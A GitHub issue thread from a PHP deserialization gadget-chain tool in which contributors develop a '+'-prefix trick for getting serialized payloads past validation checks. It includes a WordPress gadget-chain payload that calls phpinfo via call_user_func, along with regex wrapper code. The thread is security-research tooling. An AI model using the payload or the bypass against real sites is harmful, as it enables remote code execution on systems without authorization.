Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Wrapper to bypass checks as enhancement ? #52

Closed
erwanlr opened this issue Apr 29, 2019 · 10 comments
Closed

Wrapper to bypass checks as enhancement ? #52

erwanlr opened this issue Apr 29, 2019 · 10 comments

Comments

@erwanlr
Copy link
Contributor

erwanlr commented Apr 29, 2019

There is a trick which can be used to bypass some attempts to validate the serialised data given: Put a + before all integer values of Object and/or Classes (there might be also possible for integer and string, haven't checked).

For instance:

O:19:"WC_Log_Handler_File":1:{s:10:"*handles";C:33:"Requests_Utility_FilteredIterator":80:{x:i:0;a:1:{i:0;s:7:"phpinfo";};m:a:1:{s:11:"*callback";s:14:"call_user_func";}}}

would become

O:+19:"WC_Log_Handler_File":1:{s:10:"*handles";C:+33:"Requests_Utility_FilteredIterator":80:{x:i:0;a:1:{i:0;s:7:"phpinfo";};m:a:1:{s:11:"*callback";s:14:"call_user_func";}}}

So far I am using a wrapper as this is a very specific situation to bypass the check in place:

public function process_serialized($serialized) {
    return preg_replace('/(C|O):(\d+):/', '$1:+$2:', $serialized);
}

However, it might be interesting to add it as an enhancement

@erwanlr erwanlr changed the title Wrapper to bypass checks Wrapper to bypass checks as enhancement ? Apr 29, 2019
@cfreal
Copy link
Collaborator

cfreal commented Apr 30, 2019

Cool idea. I'll implement it soon.

@cfreal
Copy link
Collaborator

cfreal commented May 2, 2019

Added -n --plus-numbers. Handles Object, String, Ints, etc.

@cfreal cfreal closed this as completed May 2, 2019
@erwanlr
Copy link
Contributor Author

erwanlr commented May 2, 2019

Great :)

However, it seems that only Object and Class are allowed to have the + sign, otherwise an unserialize(): Error at offset is raised when present for String and Integer.

So the function should be

public function process_serialized($serialized)
    {
        return preg_replace(
            '#\b([CO]):+?(\d+):(".*?"):+?(\d+):{#',
            '$1:+$2:$3:+$4:{',
            $serialized
        );
    }

@cfreal
Copy link
Collaborator

cfreal commented May 2, 2019

I beg to differ:
http://sandbox.onlinephpfunctions.com/code/8716030d66de092d866dab8d7fd722c7068fc7df
Since PHP7.2 though, O and s/S cannot have a +:

php > print phpversion();
7.2.17-1+ubuntu16.04.1+deb.sury.org+1
php > print unserialize('s:+3:"abc";');
PHP Notice:  unserialize(): Error at offset 0 of 10 bytes in php shell code on line 1

@erwanlr
Copy link
Contributor Author

erwanlr commented May 2, 2019

Humm, it doesn't make it easy to use the -n then :/. Could it be possible to pass an argument to the -n, such as -n O to process only the objects (and maybe -n 'O|C' for Objects and Class for example) ?. If it's too complicated, don't bother, wrapper inside the chain.php directly or via -w does the job.

Using PHP 7.1 (7.1.23 locally and 7.1.0 from the online shell), below were my tests (not sure if there is a generation error from the tool or another shenanigan as in my case only Object and Class can have the + when unserialized):

@erwanlr
Copy link
Contributor Author

erwanlr commented May 2, 2019

I found the issue.

When there is serialized class (C), its length would need to be updated if there are any + sign being added inside.

Example:

chain.php

<?php

namespace GadgetChain\WordPress\NumberIssue;

class RCE1 extends \PHPGGC\GadgetChain\RCE {
    public function generate(array $parameters) {
        return new \Custom_Iterator;
    }
}

gadgets.php

<?php

class Custom_Iterator Extends ArrayIterator {
    public $callback = 'test';
}
./phpggc WordPress/NumberIssue/RCE1 a b
C:15:"Custom_Iterator":47:{x:i:0;a:0:{};m:a:1:{s:8:"callback";s:4:"test";}}
$ ./phpggc WordPress/NumberIssue/RCE1 a b -n
C:+15:"Custom_Iterator":+47:{x:i:+0;a:0:{};m:a:1:{s:+8:"callback";s:+4:"test";}}

Here the +47 is wrong and should be +50 (as 3 + have been added) - http://sandbox.onlinephpfunctions.com/code/4cc5bb949755429900a0c10562b58136cff65626

@cfreal
Copy link
Collaborator

cfreal commented May 2, 2019

Haha was just writing about this as well. Well, this is annoying, because this means parsing the serialized string. If for instance there is a serialized string inside a serialized string, this problem will happen as well (as the size of the string will change). For now, I'll do as you said, and change the --plus-numbers option to a parameter: ./phpggc ... -n CO in your case.

@cfreal
Copy link
Collaborator

cfreal commented May 2, 2019

Try now and tell me :)

cfreal pushed a commit that referenced this issue May 2, 2019
@erwanlr
Copy link
Contributor Author

erwanlr commented May 2, 2019

Seems good, thank you!

@erwanlr erwanlr closed this as completed May 2, 2019
erwanlr added a commit to erwanlr/phpggc that referenced this issue May 17, 2019
@jouhrocha
Copy link

complet

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

3 participants